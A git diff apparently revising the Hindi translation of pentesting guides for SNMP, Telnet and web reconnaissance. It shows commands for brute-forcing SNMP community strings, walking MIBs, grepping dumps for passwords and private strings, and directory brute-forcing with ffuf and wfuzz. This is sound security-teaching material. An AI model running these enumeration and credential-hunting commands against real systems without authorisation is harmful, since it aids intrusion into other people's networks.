+ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल" होते हैं।**\
यदि आप एक ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
@@ -89,8 +88,8 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
-- प्रबंधक पोर्ट **162** पर सूचनाएँ प्राप्त करता है ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest))।
-- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं।
+- प्रबंधक पोर्ट **162** पर सूचनाएं ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) प्राप्त करता है।
+- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएं पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
@@ -105,7 +104,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
-यदि आपके पास एक मान्य समुदाय स्ट्रिंग है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
+यदि आपको एक मान्य समुदाय स्ट्रिंग पता है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@@ -121,7 +120,7 @@ nmap --script "snmp* and not snmp-brute"
braa @:.1.3.6.* #Bruteforce specific OID
```
-विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी इकट्ठा करना संभव है:
+विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@@ -146,15 +145,15 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### Microsoft Windows के लिए SNMP पैरामीटर
-SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग की जाती है:
+Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **मैनेजमेंट इंफॉर्मेशन बेस (MIB) मान** का उपयोग किया जाता है:
- **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
- **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
- **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
-- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से की जाती है।
+- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
- **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
-- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
+- **TCP स्थानीय पोर्ट**: अंत में, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
### Cisco
@@ -174,9 +173,9 @@ snmp-rce.md
## **मासिव SNMP**
-[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न करना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
+[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न पूछना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ पूछने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
-Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं होती है।
+Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं है।
**सिंटैक्स:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
```bash
@@ -188,19 +187,19 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **Devices**
-यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
+यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep command** का उपयोग करके किया जाता है:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **निजी स्ट्रिंग की पहचान करें**
-एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा में "trap" शब्द का विश्लेषण करने पर निर्भर करती है, जिसमें **grep कमांड** का उपयोग किया जाता है:
+एक महत्वपूर्ण कदम में संगठनों द्वारा उपयोग किए जाने वाले **निजी समुदाय स्ट्रिंग** की पहचान करना शामिल है, विशेष रूप से Cisco IOS राउटर पर। यह स्ट्रिंग राउटर से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर "trap" शब्द के लिए SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है, जिसमें **grep कमांड** का उपयोग किया जाता है:
```bash
grep -i "trap" *.snmp
```
-### **यूजरनेम/पासवर्ड**
+### **उपयोगकर्ता नाम/पासवर्ड**
-MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से यूजरनेम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
+MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से उपयोगकर्ता नाम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
```bash
grep -i "login\|fail" *.snmp
```
@@ -212,7 +211,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP मानों को संशोधित करना
-आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जाननी होगी।
+आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जानने की आवश्यकता होगी।
## स्पूफिंग
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 4a57c133b..c67651115 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23
```
The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
-[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
+From the [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): TELNET प्रोटोकॉल में विभिन्न "**options**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को गिनना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 67d4c2706..7316d532a 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -25,15 +25,15 @@ web-api-pentesting.md
## Methodology summary
-> इस पद्धति में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
+> इस पद्धति में हम मानेंगे कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
- [ ] **वेब सर्वर** द्वारा उपयोग की जाने वाली **प्रौद्योगिकियों** की **पहचान** करना शुरू करें। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
- [ ] क्या प्रौद्योगिकी के संस्करण की कोई **ज्ञात भेद्यता** है?
-- [ ] क्या कोई **जानी-मानी तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
+- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
-- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटर** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
+- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
@@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
-**HTTP हेडर और प्रतिक्रिया के कुकीज़** प्रौद्योगिकियों और/या उपयोग की जा रही **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
+**HTTP हेडर और प्रतिक्रिया के कुकीज़** **प्रौद्योगिकियों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
@@ -99,7 +99,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
-यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजना न भूलें (और मुझे बताएं!)।
+यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए न भूलें (और मुझे बताएं!)।
### Source Code Review
@@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS स्कैनर
-यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
+यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
@@ -175,12 +175,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
-- **ब्रूट फोर्स** क्रेडेंशियल्स
-- वेब पृष्ठ के अंदर **पाई गई अन्य फ़ोल्डरों** में फ़ाइलें **अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
+- **ब्रूट फ़ोर्स** क्रेडेंशियल्स
+- वेब पृष्ठ के अंदर **अन्य फ़ोल्डरों** में फ़ाइलें अपलोड करने के लिए WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
-- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
+- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को मजबूर नहीं कर रहा है** तो यह **MitM के लिए कमजोर** है
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
@@ -205,7 +205,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ।
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
-- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
+- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
- [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL को खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
@@ -219,19 +219,19 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है।
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो दी गई .js.map URL से आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स का पता लगाने के लिए किया जाता है।
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स को निकालता है।**
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
-- [**Crawley**](https://github.com/s0rg/crawley) (go): यह हर लिंक को प्रिंट करता है जिसे यह खोजने में सक्षम है।
+- [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
-### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
+### ब्रूट फोर्स निर्देशिकाएँ और फ़ाइलें
-रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** पर ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ पर।\
+रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी निर्देशिकाएँ।\
उपकरण:
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
@@ -241,7 +241,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन।
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से निर्देशिकाओं की एक सूची बनाने के लिए बर्प एक्सटेंशन।
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
@@ -264,22 +264,22 @@ SSL/TLS कमजोरियों के बारे में जानक
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
+_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नई निर्देशिका खोजी जाती है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
-### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
+### प्रत्येक फ़ाइल में क्या जांचें
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
-- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
+- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
